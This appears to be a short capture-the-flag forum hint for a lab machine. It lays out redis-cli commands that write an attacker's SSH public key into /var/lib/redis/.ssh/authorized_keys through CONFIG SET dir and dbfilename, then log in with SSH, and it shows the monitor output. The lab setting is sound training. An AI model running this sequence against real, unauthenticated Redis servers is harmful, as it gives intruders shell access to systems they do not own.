For those who are having problems:

[meir555]

For those who are having problems:

1. use monitor:
   redis-cli -h 10.10.10.160 monitor

2. use printf '\n\n\n\n' and not echo

ssh-keygen -t rsa -C blabla
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa

redis-cli -h <ip> config rewrite
(printf '\n\n'; cat ./id_rsa.pub; printf '\n\n') | redis-cli -h <ip> -x set blabla1
redis-cli -h <ip> config set dir /var/lib/redis/.ssh/
redis-cli -h <ip> config set dbfilename authorized_keys
redis-cli -h <ip> save

ssh -i ./id_rsa <user>@<ip>

3. verify in monitor, note the \n\n:

1580806600.323468 [0 10.10.10.10:55682] "set" "blabla" "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs2umc3Sjt13ip7cfTeo/8Ofbw6SB/T17U8EdWFzHkLbUgSjWEUCe8bTD1Rjqph/4mwf+vRoPpTd7rEBm8FZiEseUSts3Z5u/eRfuMupnrJMJQi6V+bX7fToiu3byu7ENkuQfq0CVebBe4oqSFLYgI6v+64ErcsVOlrYO8b5Q2ZeuFM+Sg5TB5ERKHtd7MY0KrXMOspIvfz2pZvaEbnJv9SvmZGqDUGGVhaiH7BYUGVuPcWcFKozg5KR31OLY+/5H7oMYfiGkCIMPJ7io0jACRfspkdT7Nk+It6eGduZmLtY+d0nRY+61Up/Pcixdr/WOmkp32vGylapwsxcOjoJQ/0PjH0pfP6swnakZNKz6k0gVrsVKN1SgMruM7eL1BieCFAbvoqgo7LpE3isj1nPN4XyuwPbzLu30gtQqGbCMJDlyoANSI351QWEj0E9TyCed68NyX/WNgVXi6nDErRM84pvTAwJs7KdFFSsqcp3vPR4LsrgRgl6Z9qGvVYFGPpfM= blabla\n\n\n"